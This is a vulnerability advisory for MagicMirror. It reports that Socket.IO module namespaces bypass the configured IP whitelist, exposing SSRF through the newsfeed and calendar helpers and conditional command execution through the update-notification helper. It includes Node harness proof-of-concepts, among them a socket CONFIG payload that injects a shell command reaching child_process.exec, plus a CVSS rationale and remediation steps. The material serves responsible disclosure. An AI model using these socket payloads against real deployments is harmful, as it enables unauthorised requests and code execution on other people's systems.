MagicMirror Socket.IO module namespaces bypass configured IP whitelist and allow unauthenticated server-side actions

• defaultmodules/newsfeed/node_helper.js:12-17 accepts CHECK_ARTICLE_URL and calls checkArticleUrl(payload.url).
• defaultmodules/newsfeed/node_helper.js:25-38 performs fetch(url, { method: "HEAD" }) on the supplied URL and sends the result back.
• defaultmodules/calendar/node_helper.js:13-24 accepts ADD_CALENDAR/FETCH_CALENDAR socket messages.
• defaultmodules/calendar/node_helper.js:40-58 accepts an arbitrary syntactically valid calendar URL and creates a fetcher.
• defaultmodules/calendar/calendarfetcher.js:35-44 passes the URL into HTTPFetcher, whose fetch sink is js/http_fetcher.js:286-294.
• defaultmodules/updatenotification/node_helper.js:46-68 accepts CONFIG, MODULES, and SCAN_UPDATES notifications and trusts the socket-provided config/module list.
• defaultmodules/updatenotification/update_helper.js:43-47 stores update commands from config.
• defaultmodules/updatenotification/update_helper.js:96-116 executes the selected update command with child_process.exec in the module directory.
• defaultmodules/updatenotification/update_helper.js:221-227 looks up the command from config.updates by module name.

False-positive screening performed:

• Express HTTP routes are protected by ipAccessControl(config.ipWhitelist) at js/server.js:89-90; this does not protect Socket.IO because Socket.IO is attached to the raw HTTP server and no Socket.IO middleware was found.
• The explicit /cors HTTP endpoint has separate SSRF mitigations (js/server_functions.js:47-117) and is disabled by default (js/defaults.js:14); the confirmed request primitive here uses module-helper socket paths, not /cors.
• The command-execution variant is not an unconditional default RCE: updatenotification only executes an update command for a non-core git-managed module that is considered behind. However, the trusted command source is attacker-controlled through the unauthenticated socket CONFIG message once this boundary is crossed.
• Default loopback-only binding lowers default remote exposure, but the sample configuration documents exactly the deployment model where users rely on ipWhitelist for network restrictions.

Affected-version evidence: only [email protected] at commit fb41d24ef522e91e802e2a623ff6afbddeb3c9d8 was tested. The affected range is unknown from this audit; earlier versions were not tested. No patched version or fix commit was identified locally.

PoC

The following safe local PoCs were run from a clean checkout of MagicMirror at commit fb41d24ef522e91e802e2a623ff6afbddeb3c9d8. Because node_modules were not installed in this audit environment and package.json:52 has a destructive postinstall (git clean -df fonts vendor modules/default), the commands use small Node harnesses with stubs for missing dependencies while exercising the vulnerable repository code paths directly. They do not contact external hosts and write only disposable /tmp marker files.

1. Confirm that the runtime lacks Socket.IO IP allowlist controls:

grep -RIn --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=.claude --exclude-dir=reports -E "allowRequest|io\.use\(|handshake|ipAccessControl\(|cors: \{|origin: /\.\*\$/" js defaultmodules serveronly config tests

Observed output:

js/server.js:44:				cors: {
js/server.js:90:			app.use(ipAccessControl(config.ipWhitelist));

This confirms the IP allowlist appears only as Express middleware and no Socket.IO handshake/namespace allowlist was present in the reviewed runtime files.

2. Confirm a default module helper will perform a server-side request to an attacker-supplied loopback URL when driven through its socket notification handler:

node -e 'const Module=require("module"); const orig=Module._load; Module._load=(r,p,m)=>{ if(r==="logger") return {log(){},error(){},warn(){},info(){},debug(){}}; if(r==="node_helper") return {create:(o)=>function(){Object.assign(this,o);this.sendSocketNotification=(n,p)=>console.log("SOCKET",n,JSON.stringify(p));}}; if(r==="./newsfeedfetcher") return function(){}; return orig(r,p,m); }; const calls=[]; global.fetch=async(url,opts)=>{calls.push({url,opts}); return {headers:{get:(h)=>h==="x-frame-options"?"deny":null}};}; const Helper=require("./defaultmodules/newsfeed/node_helper"); const h=new Helper(); h.start(); h.socketNotificationReceived("CHECK_ARTICLE_URL",{url:"http://127.0.0.1:65535/internal"}); setTimeout(()=>console.log("fetchCalls=",JSON.stringify(calls)),10);'

Observed output:

SOCKET ARTICLE_URL_STATUS {"url":"http://127.0.0.1:65535/internal","canFrame":false}
fetchCalls= [{"url":"http://127.0.0.1:65535/internal","opts":{"method":"HEAD"}}]

Expected vulnerable output: the harness records a server-side HEAD request to http://127.0.0.1:65535/internal even though /cors SSRF protections are not involved.

3. Confirm the conditional command-execution sink is reachable from the trusted socket-driven update path using a harmless /tmp marker command:

rm -f /tmp/mm-rce-marker
mkdir -p /tmp/mm-audit/modules/evil /tmp/mm-audit/defaultmodules
node -e 'const fs=require("node:fs"); const Module=require("module"); const orig=Module._load; Module._load=(r,p,m)=>{ if(r==="logger") return {log(){},error(){},warn(){},info(){},debug(){}}; if(r==="node_helper") return {create:(o)=>function(){Object.assign(this,o);this.sendSocketNotification=()=>{};}}; return orig(r,p,m); }; global.root_path="/tmp/mm-audit"; global.defaultModulesDir="defaultmodules"; fs.writeFileSync("/tmp/mm-audit/defaultmodules/defaultmodules.js","module.exports=[]"); const Helper=require("./defaultmodules/updatenotification/node_helper"); const h=new Helper(); h.gitHelper={add:async()=>{},getRepos:async()=>[{module:"evil",behind:1}],checkUpdates:()=>[{module:"evil",behind:1}]}; h.sendSocketNotification=(n,p)=>console.log("SOCKET",n,JSON.stringify(p)); (async()=>{ await h.socketNotificationReceived("CONFIG",{updates:[{evil:"printf ok > /tmp/mm-rce-marker"}],updateTimeout:5000,updateAutorestart:false,ignoreModules:[],sendUpdatesNotifications:false,updateInterval:60000,useModulesFromConfig:true}); await h.socketNotificationReceived("MODULES",["evil"]); console.log("marker=",fs.readFileSync("/tmp/mm-rce-marker","utf8")); process.exit(0); })();'
rm -f /tmp/mm-rce-marker
rm -rf /tmp/mm-audit

Observed output from the executed harness:

SOCKET REPO_STATUS {"module":"evil","behind":1}
SOCKET UPDATE_STATUS {"name":"evil","updateCommand":"printf ok > /tmp/mm-rce-marker","inProgress":true,"error":false,"updated":true,"needRestart":true}
marker= ok

Expected vulnerable output: marker= ok demonstrates the update command supplied through the trusted socket configuration path reached child_process.exec and wrote the harmless marker.

Negative/control cases:

• With the shipped committed defaults (js/defaults.js:8-13), the server binds localhost and ipWhitelist includes only loopback, so a remote network attacker cannot reach either HTTP or Socket.IO unless the deployment is changed to a documented non-loopback address.
• The updatenotification command execution path requires at least one non-core module update result; if checkUpdates() returns no third-party module with behind > 0, update_helper.parse(...) does not execute an update command.
• The explicit /cors route was not used for the confirmed request primitive and has separate protocol/hostname/DNS checks.

Final repro re-check: the sink search, newsfeed socket request harness, and update marker harness were re-run after drafting; the observed outputs above are from this environment. Cleanup removed /tmp/mm-rce-marker and /tmp/mm-audit.

Impact

In a documented common non-loopback deployment that relies on ipWhitelist for access control, an unauthenticated network client can bypass the intended IP allowlist for Socket.IO module namespaces. The attacker can send arbitrary module-helper notifications and payloads as if they were a trusted browser client.

Confirmed impacts include:

• Confidentiality/SSRF: server-side requests to attacker-chosen URLs through default module helpers, including loopback/internal URLs. The newsfeed PoC shows a HEAD request to 127.0.0.1.
• Integrity/availability: arbitrary manipulation of module-helper state and periodic fetch/update behavior through trusted socket messages.
• Conditional code execution: when a third-party git-managed module is considered behind by the update checker, an attacker can supply a command in the socket CONFIG payload and trigger child_process.exec; the PoC safely wrote a /tmp marker.

CVSS 3.1 rationale for the primary trust-boundary bypass with confirmed SSRF and conditional RCE variant: AV:A because MagicMirror's security policy says it is intended for trusted local/private networks and the documented non-loopback exposure is LAN-style; AC:H because default loopback settings must be changed and the RCE variant requires a pending third-party module update, though SSRF requires fewer conditions after reachability; PR:N because no application authentication is required; UI:N because the attacker connects directly to Socket.IO; S:C because the vulnerable application can cause requests/actions against other local/internal services and can execute commands in a child process in the conditional variant; C:L/I:L/A:L for confirmed internal request and helper-state/command side effects, with conservative scoring because unconditional default RCE was not shown.

Suggested remediation

Apply the same access-control decision to Socket.IO handshakes and namespaces as to Express routes. Concretely, add a Socket.IO allowRequest or io.use(...) middleware that normalizes socket.handshake.address/request IPs with the same ipAccessControl logic, and reject clients not allowed by config.ipWhitelist. Avoid relying on CORS for authorization; keep origin checks as a browser hardening layer only.

Also add module-helper authorization so arbitrary clients cannot send privileged server-side module notifications. For example, issue an unguessable per-session/module token to the served client and require it on helper messages, or separate read-only client events from privileged server-maintenance actions.

For defense in depth:

• Add SSRF protections or allowlists to calendar/newsfeed/weather helper fetch paths, not only /cors.
• Do not accept updatenotification update commands from socket payloads; use the server-loaded config only, validate module names against configured modules, and avoid shell execution where possible.
• Add regression tests proving a disallowed IP receives a rejected Socket.IO handshake even when Express routes are protected, and proving /newsfeed//calendar helper messages from unauthenticated sockets cannot trigger server-side requests or update commands.